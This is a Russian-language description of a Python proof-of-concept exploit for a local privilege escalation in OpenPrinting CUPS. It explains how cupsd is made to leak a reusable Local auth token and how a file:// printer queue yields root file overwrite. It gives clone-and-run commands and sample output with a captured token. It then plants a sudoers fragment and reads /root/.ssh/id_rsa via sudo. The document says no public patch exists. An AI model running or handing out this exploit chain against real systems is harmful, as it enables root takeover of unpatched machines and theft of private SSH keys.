
Python proof-of-concept для CVE-2026-34990 в OpenPrinting CUPS, принуждающий cupsd к утечке токена Local auth и перезаписи root-файлов через очередь принтера file://.
CVE-2026-34990 — OpenPrinting CUPS версий 2.4.16 и более ранних: локальный непривилегированный пользователь может заставить cupsd аутентифицироваться в контролируемой злоумышленником службе IPP на localhost с помощью многоразового токена Authorization: Local .... Этого токена достаточно для выполнения запросов /admin/ на localhost, и злоумышленник может скомбинировать CUPS-Create-Local-Printer с printer-is-shared=true, чтобы сохранить очередь file:///..., даже несмотря на то, что обычная политика FileDevice отклоняет такие URI. Печать в эту очередь даёт произвольную перезапись файлов от имени root; приведённый ниже PoC использует этот примитив для создания фрагмента sudoers и демонстрации выполнения команд от имени root. На момент публикации общедоступных патчей нет.
git clone https://github.com/ungabunga-ctf/CVE-2026-34990
cd CVE-2026-34990
python3 CVE-2026-34990.py
python3 CVE-2026-34990.py
CVE-2026-34990 CUPS PoC
[*] Target file: /etc/sudoers.d/aporter
[*] Starting token capture server...
[+] Captured Local token: 7BD0ECC9D367025E50774E0BB08F7B5E
[*] Creating file:// printer...
[+] Vulnerable!
...
...
затем:
sudo -n cat /root/.ssh/id_rsa